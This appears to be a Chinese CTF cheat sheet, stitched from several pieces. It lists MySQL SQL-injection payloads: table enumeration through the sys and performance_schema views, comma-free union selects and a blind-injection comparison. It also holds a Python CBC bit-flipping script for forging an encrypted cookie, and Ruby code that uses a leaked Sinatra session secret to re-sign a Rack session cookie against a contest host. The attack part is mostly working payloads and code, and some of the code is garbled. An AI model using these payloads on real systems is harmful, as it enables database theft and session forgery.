MySQL 5.6 及以上版本存在innodb_index_stats，innodb_table_stats两张表，其中包含新建立的库和表
select table_name from mysql.innodb_table_stats where database_name = database(); select table_name from mysql.innodb_index_stats where database_name = database();
在MySQL 5.7.9中sys中新增了一些视图，可以从中获取表名
//包含in SELECT object_name FROM `sys`.`x$innodb_buffer_stats_by_table` where object_schema = database(); SELECT object_name FROM `sys`.`innodb_buffer_stats_by_table` WHERE object_schema = DATABASE(); SELECT TABLE_NAME FROM `sys`.`x$schema_index_statistics` WHERE TABLE_SCHEMA = DATABASE(); SELECT TABLE_NAME FROM `sys`.`schema_auto_increment_columns` WHERE TABLE_SCHEMA = DATABASE();
//不包含in SELECT TABLE_NAME FROM `sys`.`x$schema_flattened_keys` WHERE TABLE_SCHEMA = DATABASE(); SELECT TABLE_NAME FROM `sys`.`x$ps_schema_table_statistics_io` WHERE TABLE_SCHEMA = DATABASE(); SELECT TABLE_NAME FROM `sys`.`x$schema_table_statistics_with_buffer` WHERE TABLE_SCHEMA = DATABASE();
//通过表文件的存储路径获取表名 SELECT FILE FROM `sys`.`io_global_by_file_by_bytes` WHERE FILE REGEXP DATABASE(); SELECT FILE FROM `sys`.`io_global_by_file_by_latency` WHERE FILE REGEXP DATABASE(); SELECT FILE FROM `sys`.`x$io_global_by_file_by_bytes` WHERE FILE REGEXP DATABASE();
包含之前查询记录的表
SELECT QUERY FROM sys.x$statement_analysis WHERE QUERY REGEXP DATABASE(); SELECT QUERY FROM `sys`.`statement_analysis` where QUERY REGEXP DATABASE();
SELECT object_name FROM `performance_schema`.`objects_summary_global_by_type` WHERE object_schema = DATABASE(); SELECT object_name FROM `performance_schema`.`table_handles` WHERE object_schema = DATABASE(); SELECT object_name FROM `performance_schema`.`table_io_waits_summary_by_index_usage` WHERE object_schema = DATABASE(); SELECT object_name FROM `performance_schema`.`table_io_waits_summary_by_table` WHERE object_schema = DATABASE(); SELECT object_name FROM `performance_schema`.`table_lock_waits_summary_by_table` WHERE object_schema = DATABASE();
包含之前查询记录的表
SELECT digest_text FROM `performance_schema`.`events_statements_summary_by_digest` WHERE digest_text REGEXP DATABASE();
包含表文件路径的表
SELECT file_name FROM `performance_schema`.`file_instances` WHERE file_name REGEXP DATABASE();
使用union select
select c from (select 1 as a, 1 as b, 1 as c union select * from test)x limit 1 offset 1 select `3` from(select 1,2,3 union select * from admin)a limit 1,1
//无逗号，有join版本 select a from (select * from (select 1 `a`)m join (select 2 `b`)n join (select 3 `c`)t where 0 union select * from test)x;
盲注
((SELECT 1,concat('{result+chr(mid)}', cast("0" as JSON)))<(SELECT * FROM `f1ag_1s_h3r3_hhhhh`))
cipher_new=cipher_de[0:9]+chr(ord(cipher_de[9])^ord('b')^ord('a'))+cipher_de[10:] cipher_new=urllib.quote(base64.b64encode(cipher_new)) print(cipher_new) cipher_new=base64.b64decode('GgadNOlPvXYl8SxK+NWkK21lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjE1OiIxU0NDXzJvMmxfS2VGdXUiO30=') print(cipher_new) iv_raw=base64.b64decode(urllib.unquote(iv)) iv_new='' for i in range(0,16): # iv_new+=chr(ord(tran[i])^ord(iv_raw[i])^ord(cipher_new[i])) iv_new=urllib.quote(base64.b64encode(iv_new)) print(iv_new)
#Gemfile Gemfile.lock database.db public vendor views webserver.rb }
使用cat命令即可查看源码：
configure do set :public_folder, 'public' set :views, 'views' set :bind, '0.0.0.0' set :port, 9999 enable :sessions set :server, %w[thin webrick] set :environment, :production #set :environment, :development #disable :protection set :session_secret, '01344904559362f6f5754df256908476702c8bd5d972a32e2fae2a7cc6fa4a7efd25079fddb5a11a0f8be0f607bf048fd6ecfe065380c27b2aa26015c3308e85' end
get '/home'do authenticate! @user = session[:username] @flag = ENV['FLAG'] if session[:role] == 'admin' slim :home end
# Remote host defgenerate_hmac(data, secret) OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, secret, data) end
# URL = "http://39.96.91.106:8230/login"
# # Create URL object # url = URI.parse(URL)
# creds = "demo" # c = "" # # Authentication # resp = Net::HTTP.start(url.host, url.port) do |http| # http.post(url.request_uri, "username=#{creds}&password=#{creds}") # end
Cookies = "BAh7CkkiDXVzZXJuYW1lBjoGRUZJIglkZW1vBjsAVEkiCXJvbGUGOwBGSSIJ%0AdXNlcgY7AFRJIg9zZXNzaW9uX2lkBjsAVEkiRTAyMjU1OTdiMjJhYWM4Zjc3%0AYjcxZGUwNzQ2MjBlM2JiN2E5NDA1ODlmOWJjOTg5NWNiMTU3YzBlYTgyZGI5%0AYzIGOwBGSSIJY3NyZgY7AEZJIjF4MDlxTHVlOXdOZjNFWGx3T2ZzWjVXYlZ1%0ANEU5dnhBdW04TTk0Q3JZM1EwPQY7AEZJIg10cmFja2luZwY7AEZ7BkkiFEhU%0AVFBfVVNFUl9BR0VOVAY7AFRJIi00ZTRhYWEyYmFhZmVjYmIxYjcwOTViZWQ2%0AZDZmZWYzMmM3ZWI4NzEwBjsARg%3D%3D%0A--957bdf7dc19049010fd0b19e4d8656c42314b2db"
# puts get the cookie cookie, signature = Cookies.split("--",2) cookie = URI.decode(cookie)
